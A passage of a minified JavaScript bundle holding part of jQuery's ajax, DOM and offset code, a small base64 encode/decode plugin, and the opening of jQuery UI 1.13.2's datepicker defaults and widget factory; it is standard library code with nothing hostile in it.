a,o,k,v,d,c,s,y,g,p,u=i.ajaxSetup({},r),h=u.context||u,nt=u.context&&(h.nodeType||h.jquery)?i(h):i.event,tt=i.Deferred(),it=i.Callbacks("once memory"),w=u.statusCode||{},rt={},ut={},ft="canceled",e={readyState:0,getResponseHeader:function(n){var t;if(s){if(!v)for(v={};t=ho.exec(k);)v[t[1].toLowerCase()+" "]=(v[t[1].toLowerCase()+" "]||[]).concat(t[2]);t=v[n.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return s?k:null},setRequestHeader:function(n,t){return null==s&&(n=ut[n.toLowerCase()]=ut[n.toLowerCase()]||n,rt[n]=t),this},overrideMimeType:function(n){return null==s&&(u.mimeType=n),this},statusCode:function(n){var t;if(n)if(s)e.always(n[e.status]);else for(t in n)w[t]=[w[t],n[t]];return this},abort:function(n){var t=n||ft;return a&&a.abort(t),b(0,t),this}};if(tt.promise(e),u.url=((t||u.url||ti.href)+"").replace(lo,ti.protocol+"//"),u.type=r.method||r.type||u.method||u.type,u.dataTypes=(u.dataType||"*").toLowerCase().match(l)||[""],null==u.crossDomain){c=f.createElement("a");try{c.href=u.url;c.href=c.href;u.crossDomain=lr.protocol+"//"+lr.host!=c.protocol+"//"+c.host}catch(t){u.crossDomain=!0}}if(u.data&&u.processData&&"string"!=typeof u.data&&(u.data=i.param(u.data,u.traditional)),te(df,u,r,e),s)return e;for(g in(y=i.event&&u.global)&&0==i.active++&&i.event.trigger("ajaxStart"),u.type=u.type.toUpperCase(),u.hasContent=!co.test(u.type),o=u.url.replace(oo,""),u.hasContent?u.data&&u.processData&&0===(u.contentType||"").indexOf("application/x-www-form-urlencoded")&&(u.data=u.data.replace(eo,"+")):(p=u.url.slice(o.length),u.data&&(u.processData||"string"==typeof u.data)&&(o+=(sr.test(o)?"&":"?")+u.data,delete u.data),!1===u.cache&&(o=o.replace(so,"$1"),p=(sr.test(o)?"&":"?")+"_="+bf.guid+++p),u.url=o+p),u.ifModified&&(i.lastModified[o]&&e.setRequestHeader("If-Modified-Since",i.lastModified[o]),i.etag[o]&&e.setRequestHeader("If-None-Match",i.etag[o])),(u.data&&u.hasContent&&!1!==u.contentType||r.contentType)&&e.setRequestHeader("Content-Type",u.contentType),e.setRequestHeader("Accept",u.dataTypes[0]&&u.accepts[u.dataTypes[0]]?u.accepts[u.dataTypes[0]]+("*"!==u.dataTypes[0]?", "+gf+"; q=0.01":""):u.accepts["*"]),u.headers)e.setRequestHeader(g,u.headers[g]);if(u.beforeSend&&(!1===u.beforeSend.call(h,e,u)||s))return e.abort();if(ft="abort",it.add(u.complete),e.done(u.success),e.fail(u.error),a=te(cr,u,r,e)){if(e.readyState=1,y&&nt.trigger("ajaxSend",[e,u]),s)return e;u.async&&0<u.timeout&&(d=n.setTimeout(function(){e.abort("timeout")},u.timeout));try{s=!1;a.send(rt,b)}catch(t){if(s)throw t;b(-1,t)}}else b(-1,"No Transport");return e},getJSON:function(n,t,r){return i.get(n,t,r,"json")},getScript:function(n,t){return i.get(n,void 0,t,"script")}}),i.each(["get","post"],function(n,t){i[t]=function(n,r,f,e){return u(r)&&(e=e||f,f=r,r=void 0),i.ajax(i.extend({url:n,type:t,dataType:e,data:r,success:f},i.isPlainObject(n)&&n))}}),i.ajaxPrefilter(function(n){for(var t in n.headers)"content-type"===t.toLowerCase()&&(n.contentType=n.headers[t]||"")}),i._evalUrl=function(n,t,r){return i.ajax({url:n,type:"GET",dataType:"script",cache:!0,"async":!1,global:!1,converters:{"text script":function(){}},dataFilter:function(n){i.globalEval(n,t,r)}})},i.fn.extend({wrapAll:function(n){var t;return this[0]&&(u(n)&&(n=n.call(this[0])),t=i(n,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var n=this;n.firstElementChild;)n=n.firstElementChild;return n}).append(this)),this},wrapInner:function(n){return u(n)?this.each(function(t){i(this).wrapInner(n.call(this,t))}):this.each(function(){var t=i(this),r=t.contents();r.length?r.wrapAll(n):t.append(n)})},wrap:function(n){var t=u(n);return this.each(function(r){i(this).wrapAll(t?n.call(this,r):n)})},unwrap:function(n){return this.parent(n).not("body").each(function(){i(this).replaceWith(this.childNodes)}),this}}),i.expr.pseudos.hidden=function(n){return!i.expr.pseudos.visible(n)},i.expr.pseudos.visible=function(n){return!!(n.offsetWidth||n.offsetHeight||n.getClientRects().length)},i.ajaxSettings.xhr=function(){try{return new n.XMLHttpRequest}catch(t){}},ie={0:200,1223:204},wt=i.ajaxSettings.xhr(),e.cors=!!wt&&"withCredentials"in wt,e.ajax=wt=!!wt,i.ajaxTransport(function(t){var i,r;if(e.cors||wt&&!t.crossDomain)return{send:function(u,f){var o,e=t.xhr();if(e.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(o in t.xhrFields)e[o]=t.xhrFields[o];for(o in t.mimeType&&e.overrideMimeType&&e.overrideMimeType(t.mimeType),t.crossDomain||u["X-Requested-With"]||(u["X-Requested-With"]="XMLHttpRequest"),u)e.setRequestHeader(o,u[o]);i=function(n){return function(){i&&(i=r=e.onload=e.onerror=e.onabort=e.ontimeout=e.onreadystatechange=null,"abort"===n?e.abort():"error"===n?"number"!=typeof e.status?f(0,"error"):f(e.status,e.statusText):f(ie[e.status]||e.status,e.statusText,"text"!==(e.responseType||"text")||"string"!=typeof e.responseText?{binary:e.response}:{text:e.responseText},e.getAllResponseHeaders()))}};e.onload=i();r=e.onerror=e.ontimeout=i("error");void 0!==e.onabort?e.onabort=r:e.onreadystatechange=function(){4===e.readyState&&n.setTimeout(function(){i&&r()})};i=i("abort");try{e.send(t.hasContent&&t.data||null)}catch(u){if(i)throw u;}},abort:function(){i&&i()}}}),i.ajaxPrefilter(function(n){n.crossDomain&&(n.contents.script=!1)}),i.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(n){return i.globalEval(n),n}}}),i.ajaxPrefilter("script",function(n){void 0===n.cache&&(n.cache=!1);n.crossDomain&&(n.type="GET")}),i.ajaxTransport("script",function(n){var r,t;if(n.crossDomain||n.scriptAttrs)return{send:function(u,e){r=i("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",t=function(n){r.remove();t=null;n&&e("error"===n.type?404:200,n.type)});f.head.appendChild(r[0])},abort:function(){t&&t()}}}),vr=[],vi=/(=)\?(?=&|$)|\?\?/,i.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var n=vr.pop()||i.expando+"_"+bf.guid++;return this[n]=!0,n}}),i.ajaxPrefilter("json jsonp",function(t,r,f){var e,o,s,h=!1!==t.jsonp&&(vi.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&vi.test(t.data)&&"data");if(h||"jsonp"===t.dataTypes[0])return e=t.jsonpCallback=u(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,h?t[h]=t[h].replace(vi,"$1"+e):!1!==t.jsonp&&(t.url+=(sr.test(t.url)?"&":"?")+t.jsonp+"="+e),t.converters["script json"]=function(){return s||i.error(e+" was not called"),s[0]},t.dataTypes[0]="json",o=n[e],n[e]=function(){s=arguments},f.always(function(){void 0===o?i(n).removeProp(e):n[e]=o;t[e]&&(t.jsonpCallback=r.jsonpCallback,vr.push(e));s&&u(o)&&o(s[0]);s=o=void 0}),"script"}),e.createHTMLDocument=((re=f.implementation.createHTMLDocument("").body).innerHTML="<form><\/form><form><\/form>",2===re.childNodes.length),i.parseHTML=function(n,t,r){return"string"!=typeof n?[]:("boolean"==typeof t&&(r=t,t=!1),t||(e.createHTMLDocument?((s=(t=f.implementation.createHTMLDocument("")).createElement("base")).href=f.location.href,t.head.appendChild(s)):t=f),u=!r&&[],(o=wi.exec(n))?[t.createElement(o[1])]:(o=yu([n],t,u),u&&u.length&&i(u).remove(),i.merge([],o.childNodes)));var s,o,u},i.fn.load=function(n,t,r){var f,s,h,e=this,o=n.indexOf(" ");return-1<o&&(f=tt(n.slice(o)),n=n.slice(0,o)),u(t)?(r=t,t=void 0):t&&"object"==typeof t&&(s="POST"),0<e.length&&i.ajax({url:n,type:s||"GET",dataType:"html",data:t}).done(function(n){h=arguments;e.html(f?i("<div>").append(i.parseHTML(n)).find(f):n)}).always(r&&function(n,t){e.each(function(){r.apply(this,h||[n.responseText,t,n])})}),this},i.expr.pseudos.animated=function(n){return i.grep(i.timers,function(t){return n===t.elem}).length},i.offset={setOffset:function(n,t,r){var v,o,s,h,f,c,l=i.css(n,"position"),a=i(n),e={};"static"===l&&(n.style.position="relative");f=a.offset();s=i.css(n,"top");c=i.css(n,"left");("absolute"===l||"fixed"===l)&&-1<(s+c).indexOf("auto")?(h=(v=a.position()).top,o=v.left):(h=parseFloat(s)||0,o=parseFloat(c)||0);u(t)&&(t=t.call(n,r,i.extend({},f)));null!=t.top&&(e.top=t.top-f.top+h);null!=t.left&&(e.left=t.left-f.left+o);"using"in t?t.using.call(n,e):a.css(e)}},i.fn.extend({offset:function(n){if(arguments.length)return void 0===n?this:this.each(function(t){i.offset.setOffset(this,n,t)});var r,u,t=this[0];if(t)return t.getClientRects().length?(r=t.getBoundingClientRect(),u=t.ownerDocument.defaultView,{top:r.top+u.pageYOffset,left:r.left+u.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var n,r,u,t=this[0],f={top:0,left:0};if("fixed"===i.css(t,"position"))r=t.getBoundingClientRect();else{for(r=this.offset(),u=t.ownerDocument,n=t.offsetParent||u.documentElement;n&&(n===u.body||n===u.documentElement)&&"static"===i.css(n,"position");)n=n.parentNode;n&&n!==t&&1===n.nodeType&&((f=i(n).offset()).top+=i.css(n,"borderTopWidth",!0),f.left+=i.css(n,"borderLeftWidth",!0))}return{top:r.top-f.top-i.css(t,"marginTop",!0),left:r.left-f.left-i.css(t,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){for(var n=this.offsetParent;n&&"static"===i.css(n,"position");)n=n.offsetParent;return n||g})}}),i.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(n,t){var r="pageYOffset"===t;i.fn[n]=function(i){return w(this,function(n,i,u){var f;if(rt(n)?f=n:9===n.nodeType&&(f=n.defaultView),void 0===u)return f?f[t]:n[i];f?f.scrollTo(r?f.pageXOffset:u,r?u:f.pageYOffset):n[i]=u},n,i,arguments.length)}}),i.each(["top","left"],function(n,t){i.cssHooks[t]=du(e.pixelPosition,function(n,r){if(r)return r=ni(n,t),tr.test(r)?i(n).position()[t]+"px":r})}),i.each({Height:"height",Width:"width"},function(n,t){i.each({padding:"inner"+n,content:t,"":"outer"+n},function(r,u){i.fn[u]=function(f,e){var o=arguments.length&&(r||"boolean"!=typeof f),s=r||(!0===f||!0===e?"margin":"border");return w(this,function(t,r,f){var e;return rt(t)?0===u.indexOf("outer")?t["inner"+n]:t.document.documentElement["client"+n]:9===t.nodeType?(e=t.documentElement,Math.max(t.body["scroll"+n],e["scroll"+n],t.body["offset"+n],e["offset"+n],e["client"+n])):void 0===f?i.css(t,r,s):i.style(t,r,f,s)},t,o?f:void 0,o)}})}),i.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(n,t){i.fn[t]=function(n){return this.on(t,n)}}),i.fn.extend({bind:function(n,t,i){return this.on(n,null,t,i)},unbind:function(n,t){return this.off(n,null,t)},delegate:function(n,t,i,r){return this.on(t,n,i,r)},undelegate:function(n,t,i){return 1===arguments.length?this.off(n,"**"):this.off(t,n||"**",i)},hover:function(n,t){return this.mouseenter(n).mouseleave(t||n)}}),i.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(n,t){i.fn[t]=function(n,i){return 0<arguments.length?this.on(t,null,n,i):this.trigger(t)}}),ue=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,i.proxy=function(n,t){var r,f,e;if("string"==typeof t&&(r=n[t],t=n,n=r),u(n))return f=k.call(arguments,2),(e=function(){return n.apply(t||this,f.concat(k.call(arguments)))}).guid=n.guid=n.guid||i.guid++,e},i.holdReady=function(n){n?i.readyWait++:i.ready(!0)},i.isArray=Array.isArray,i.parseJSON=JSON.parse,i.nodeName=c,i.isFunction=u,i.isWindow=rt,i.camelCase=y,i.type=ut,i.now=Date.now,i.isNumeric=function(n){var t=i.type(n);return("number"===t||"string"===t)&&!isNaN(n-parseFloat(n))},i.trim=function(n){return null==n?"":(n+"").replace(ue,"")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return i}),fe=n.jQuery,ee=n.$,i.noConflict=function(t){return n.$===i&&(n.$=ee),t&&n.jQuery===i&&(n.jQuery=fe),i},"undefined"==typeof t&&(n.jQuery=n.$=i),i});jQuery.base64=function(){function t(t,i){var r=n.indexOf(t.charAt(i));if(r===-1)throw"Cannot decode base64";return r}function u(n){var o=0,i,u,f=n.length,e=[];if(n=String(n),f===0)return n;if(f%4!=0)throw"Cannot decode base64";for(n.charAt(f-1)===r&&(o=1,n.charAt(f-2)===r&&(o=2),f-=4),i=0;i<f;i+=4)u=t(n,i)<<18|t(n,i+1)<<12|t(n,i+2)<<6|t(n,i+3),e.push(String.fromCharCode(u>>16,u>>8&255,u&255));switch(o){case 1:u=t(n,i)<<18|t(n,i+1)<<12|t(n,i+2)<<6;e.push(String.fromCharCode(u>>16,u>>8&255));break;case 2:u=t(n,i)<<18|t(n,i+1)<<12;e.push(String.fromCharCode(u>>16))}return e.join("")}function i(n,t){var i=n.charCodeAt(t);if(i>255)throw"INVALID_CHARACTER_ERR: DOM Exception 5";return i}function f(t){if(arguments.length!==1)throw"SyntaxError: exactly one argument required";t=String(t);var f,u,e=[],o=t.length-t.length%3;if(t.length===0)return t;for(f=0;f<o;f+=3)u=i(t,f)<<16|i(t,f+1)<<8|i(t,f+2),e.push(n.charAt(u>>18)),e.push(n.charAt(u>>12&63)),e.push(n.charAt(u>>6&63)),e.push(n.charAt(u&63));switch(t.length-o){case 1:u=i(t,f)<<16;e.push(n.charAt(u>>18)+n.charAt(u>>12&63)+r+r);break;case 2:u=i(t,f)<<16|i(t,f+1)<<8;e.push(n.charAt(u>>18)+n.charAt(u>>12&63)+n.charAt(u>>6&63)+r)}return e.join("")}var r="=",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";return{decode:u,encode:f,VERSION:"1.0"}}(jQuery);
/*! jQuery UI - v1.13.2 - 2022-07-14
* http://jqueryui.com
* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */
(function(n){"use strict";typeof define=="function"&&define.amd?define(["jquery"],n):n(jQuery)})(function(n){"use strict";function o(n){return n==null?n+"":typeof n=="object"?v[pt.call(n)]||"object":typeof n}function c(n,t,i){var r=d[t.type]||{};return n==null?i||!t.def?null:t.def:(n=r.floor?~~n:parseFloat(n),isNaN(n))?t.def:r.mod?(n+r.mod)%r.mod:Math.min(r.max,Math.max(0,n))}function tt(n){var f=t(),e=f._rgba=[];return(n=n.toLowerCase(),r(bt,function(t,i){var r,s=i.re.exec(n),h=s&&i.parse(s),o=i.space||"rgba";if(h)return r=f[o](h),f[u[o].cache]=r[u[o].cache],e=f._rgba=r._rgba,!1}),e.length)?(e.join()==="0,0,0,0"&&i.extend(e,h.transparent),f):h[n]}function y(n,t,i){return(i=(i+1)%1,i*6<1)?n+(t-n)*i*6:i*2<1?t:i*3<2?n+(t-n)*(2/3-i)*6:n}function ai(n){for(var t=n.css("visibility");t==="inherit";)n=n.parent(),t=n.css("visibility");return t==="visible"}function or(n){for(var t,i;n.length&&n[0]!==document;){if(t=n.css("position"),(t==="absolute"||t==="relative"||t==="fixed")&&(i=parseInt(n.css("zIndex"),10),!isNaN(i)&&i!==0))return i;n=n.parent()}return 0}function ft(){this._curInst=null;this._keyEvent=!1;this._disabledInputs=[];this._datepickerShowing=!1;this._inDialog=!1;this._mainDivId="ui-datepicker-div";this._inlineClass="ui-datepicker-inline";this._appendClass="ui-datepicker-append";this._triggerClass="ui-datepicker-trigger";this._dialogClass="ui-datepicker-dialog";this._disableClass="ui-datepicker-disabled";this._unselectableClass="ui-datepicker-unselectable";this._currentClass="ui-datepicker-current-day";this._dayOverClass="ui-datepicker-days-cell-over";this.regional=[];this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:"",selectMonthLabel:"Select month",selectYearLabel:"Select year"};this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,onUpdateDatepicker:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1};n.extend(this._defaults,this.regional[""]);this.regional.en=n.extend(!0,{},this.regional[""]);this.regional["en-US"]=n.extend(!0,{},this.regional.en);this.dpDiv=et(n("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'><\/div>"))}function et(t){var i="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return t.on("mouseout",i,function(){n(this).removeClass("ui-state-hover");this.className.indexOf("ui-datepicker-prev")!==-1&&n(this).removeClass("ui-datepicker-prev-hover");this.className.indexOf("ui-datepicker-next")!==-1&&n(this).removeClass("ui-datepicker-next-hover")}).on("mouseover",i,ot)}function ot(){n.datepicker._isDisabledDatepicker(f.inline?f.dpDiv.parent()[0]:f.input[0])||(n(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),n(this).addClass("ui-state-hover"),this.className.indexOf("ui-datepicker-prev")!==-1&&n(this).addClass("ui-datepicker-prev-hover"),this.className.indexOf("ui-datepicker-next")!==-1&&n(this).addClass("ui-datepicker-next-hover"))}function a(t,i){n.extend(t,i);for(var r in i)i[r]==null&&(t[r]=i[r]);return t}function e(n){return function(){var t=this.element.val();n.apply(this,arguments);this._refresh();t!==this.element.val()&&this._trigger("change")}}var st,lt,at,vt,yt,i,kt,dt,gt,ni,ti,ii,ri,ui,fi,ei,oi,si,hi,ci,b,li,vi,yi,pi,it,rt,wi,bi,ki,di,gi,nr,tr,ir,rr,ut,ur,fr,er,f,sr,hr,s,cr,lr,ar,vr,yr,pr,wr,br,kr,dr,gr,nu;n.ui=n.ui||{};st=n.ui.version="1.13.2";
/*!
 * jQuery UI Widget 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
var ht=0,ct=Array.prototype.hasOwnProperty,k=Array.prototype.slice;n.cleanData=function(t){return function(i){for(var r,u,f=0;(u=i[f])!=null;f++)r=n._data(u,"events"),r&&r.remove&&n(u).triggerHandler("remove");t(i)}}(n.cleanData);n.widget=function(t,i,r){var f,u,o,h={},e=t.split(".")[0],s;return t=t.split(".")[1],s=e+"-"+t,r||(r=i,i=n.Widget),Array.isArray(r)&&(r=n.extend.apply(null,[{}].concat(r))),n.expr.pseudos[s.toLowerCase()]=function(t){return!!n.data(t,s)},n[e]=n[e]||{},f=n[e][t],u=n[e][t]=function(n,t){if(!this||!this._createWidget)return new u(n,t);arguments.length&&this._createWidget(n,t)},n.extend(u,f,{version:r.version,_proto:n.extend({},r),_childConstructors:[]}),o=new i,o.options=n.widget.extend({},o.options),n.each(r,function(n,t){if(typeof t!="function"){h[n]=t;return}h[n]=function(){function r(){return i.prototype[n].apply(this,arguments)}function u(t){return i.prototype[n].apply(this,t)}return function(){var i=this._super,f=this._superApply,n;return this._super=r,this._superApply=u,n=t.apply(this,arguments),this._super=i,this._superApply=f,n}}()}),u.prototype=n.widget.extend(o,{widgetEventPrefix:f?o.widgetEventPrefix||t:t},h,{constructor:u,namespace:e,widgetName:t,widgetFullName:s}),f?(n.each(f._childConstructors,function(t,i){var r=i.prototype;n.widget(r.namespace+"."+r.widgetName,u,i._proto)}),delete f._childConstructors):i._childConstructors.push(u),n.widget.bridge(t,u),u};n.widget.extend=function(t){for(var f=k.call(arguments,1),u=0,e=f.length,i,r;u<e;u++)for(i in f[u])r=f[u][i],ct.call(f[u],i)&&r!==undefined&&(t[i]=n.isPlainObject(r)?n.isPlainObject(t[i])?n.widget.extend({},t[i],r):n.widget.extend({},r):r);return t};n.widget.bridge=function(t,i){var r=i.prototype.widgetFullName||t;n.fn[t]=function(u){var o=typeof u=="string",e=k.call(arguments,1),f=this;return o?this.length||u!=="instance"?this.each(function(){var i,o=n.data(this,r);return u==="instance"?(f=o,!1):o?typeof o[u]!="function"||u.charAt(0)==="_"?n.error("no such method '"+u+"' for "+t+" widget instance"):(i=o[u].apply(o,e),i!==o&&i!==undefined?(f=i&&i.jquery?f.pushStack(i.get()):i,!1):void 0):n.error("cannot call methods on "+t+" prior to initialization; attempted to call method '"+u+"'")}):f=undefined:(e.length&&(u=n.widget.extend.apply(null,[u].concat(e))),this.each(function(){var t=n.data(this,r);t?(t.option(u||{}),t._init&&t._init()):n.data(this,r,new i(u,this))})),f}};n.Widget=function(){};n.Widget._childConstructors=[];n.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,i){i=n(i||this.defaultElement||this)[0];this.element=n(i);this.uuid=ht++;this.eventNamespace="."+this.widgetName+this.uuid;this.bindings=n();this.hoverable=n();this.focusable=n();this.classesElementLookup={};i!==this&&(n.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(n){n.target===i&&this.destroy()}}),this.document=n(i.style?i.ownerDocument:i.document||i),this.window=n(this.document[0].defaultView||this.document[0].parentWindow));this.options=n.widget.extend({},this.options,this._getCreateOptions(),t);this._create();this.options.disabled&&this._setOptionDisabled(this.options.disabled);this._trigger("create",null,this._getCreateEventData());this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:n.noop,_create:n.noop,_init:n.noop,destroy:function(){var t=this;this._destroy();n.each(this.classesElementLookup,function(n,i){t._removeClass(i,n)});this.element.off(this.eventNamespace).removeData(this.widgetFullName);this.widget().off(this.eventNamespace).removeAttr("aria-disabled");this.bindings.off(this.eventNamespace)},_destroy:n.noop,widget:function(){return this.element},option:function(t,i){var e=t,r,u,f;if(arguments.length===0)return n.widget.extend({},this.options);if(typeof t=="string")if(e={},r=t.split("."),t=r.shift(),r.length){for(u=e[t]=n.widget.extend({},this.options[t]),f=0;f<r.length-1;f++)u[r[f]]=u[r[f]]||{},u=u[r[f]];if(t=r.pop(),arguments.length===1)return u[t]===undefined?null:u[t];u[t]=i}else{if(arguments.length===1)return this.options[t]===undefined?null:this.options[t];e[t]=i}return this._setOptions(e),this},_setOptions:function(n){for(var t in n)this._setOption(t,n[t]);return this},_setOption:function(n,t){return n==="classes"&&this._setOptionClasses(t),this.options[n]=t,n==="disabled"&&this._setOptionDisabled(t),this},_setOptionClasses:function(t){var i,u,r;for(i in t)(r=this.classesElementLookup[i],t[i]!==this.options.classes[i]&&r&&r.length)&&(u=n(r.get()),this._removeClass(r,i),u.addClass(this._classes({element:u,keys:i,classes:t,add:!0})))},_setOptionDisabled:function(n){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!n);n&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(t){function f(){var r=[];t.element.each(function(t,u){var f=n.map(i.classesElementLookup,function(n){return n}).some(function(n){return n.is(u)});f||r.push(u)});i._on(n(r),{remove:"_untrackClassesElement"})}function u(u,e){for(var s,o=0;o<u.length;o++)s=i.classesElementLookup[u[o]]||n(),t.add?(f(),s=n(n.uniqueSort(s.get().concat(t.element.get())))):s=n(s.not(t.element).get()),i.classesElementLookup[u[o]]=s,r.push(u[o]),e&&t.classes[u[o]]&&r.push(t.classes[u[o]])}var r=[],i=this;return t=n.extend({element:this.element,classes:this.options.classes||{}},t),t.keys&&u(t.keys.match(/\S+/g)||[],!0),t.extra&&u(t.extra.match(/\S+/g)||[]),r.join(" ")},_untrackClassesElement:function(t){var i=this;n.each(i.classesElementLookup,function(r,u){n.inArray(t.target,u)!==-1&&(i.classesElementLookup[r]=n(u.not(t.target).get()))});this._off(n(t.target))},_removeClass:function(n,t,i){return this._toggleClass(n,t,i,!1)},_addClass:function(n,t,i){return this._toggleClass(n,t,i,!0)},_toggleClass:function(n,t,i,r){r=typeof r=="boolean"?r:i;var u=typeof n=="string"||n===null,f={extra:u?t:i,keys:u?n:t,element:u?this.element:n,add:r};return f.element.toggleClass(this._classes(f),r),this},_on:function(t,i,r){var f,u=this;typeof t!="boolean"&&(r=i,i=t,t=!1);r?(i=f=n(i),this.bindings=this.bindings.add(i)):(r=i,i=this.element,f=this.widget());n.each(r,function(r,e){function o(){if(t||u.options.disabled!==!0&&!n(this).hasClass("ui-state-disabled"))return(typeof e=="string"?u[e]:e).apply(u,arguments)}typeof e!="string"&&(o.guid=e.guid=e.guid||o.guid||n.guid++);var s=r.match(/^([\w:-]*)\s*(.*)$/),h=s[1]+u.eventNamespace,c=s[2];if(c)f.on(h,c,o);else i.on(h,o)})},_off:function(t,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace;t.off(i);this.bindings=n(this.bindings.not(t).get());this.focusable=n(this.focusable.not(t).get());this.hoverable=n(this.hoverable.not(t).get())},_delay:function(n,t){function r(){return(typeof n=="string"?i[n]:n).apply(i,arguments)}var i=this;return setTimeout(r,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t);this._on(t,{mouseenter:function(t){this._addClass(n(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(n(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t);this._on(t,{focusin:function(t){this._addClass(n(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(n(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,i,r){var u,f,e=this.options[t];if(r=r||{},i=n.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],f=i.originalEvent,f)for(u in f)u in i||(i[u]=f[u]);return this.element.trigger(i,r),!(typeof e=="function"&&e.apply(this.element[0],[i].concat(r))===!1||i.isDefaultPrevented())}};n.each({show:"fadeIn",hide:"fadeOut"},function(t,i){n.Widget.prototype["_"+t]=function(r,u,f){typeof u=="string"&&(u={effect:u});var o,e=u?u===!0||typeof u=="number"?i:u.effect||i:t;u=u||{};typeof u=="number"?u={duration:u}:u===!0&&(u={});o=!n.isEmptyObject(u);u.complete=f;u.delay&&r.delay(u.delay);o&&n.effects&&n.effects.effect[e]?r[t](u):e!==t&&r[e]?r[e](u.duration,u.easing,f):r.queue(function(i){n(this)[t]();f&&f.call(r[0]);i()})}});lt=n.widget;
/*!
 * jQuery UI Position 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/position/
 */
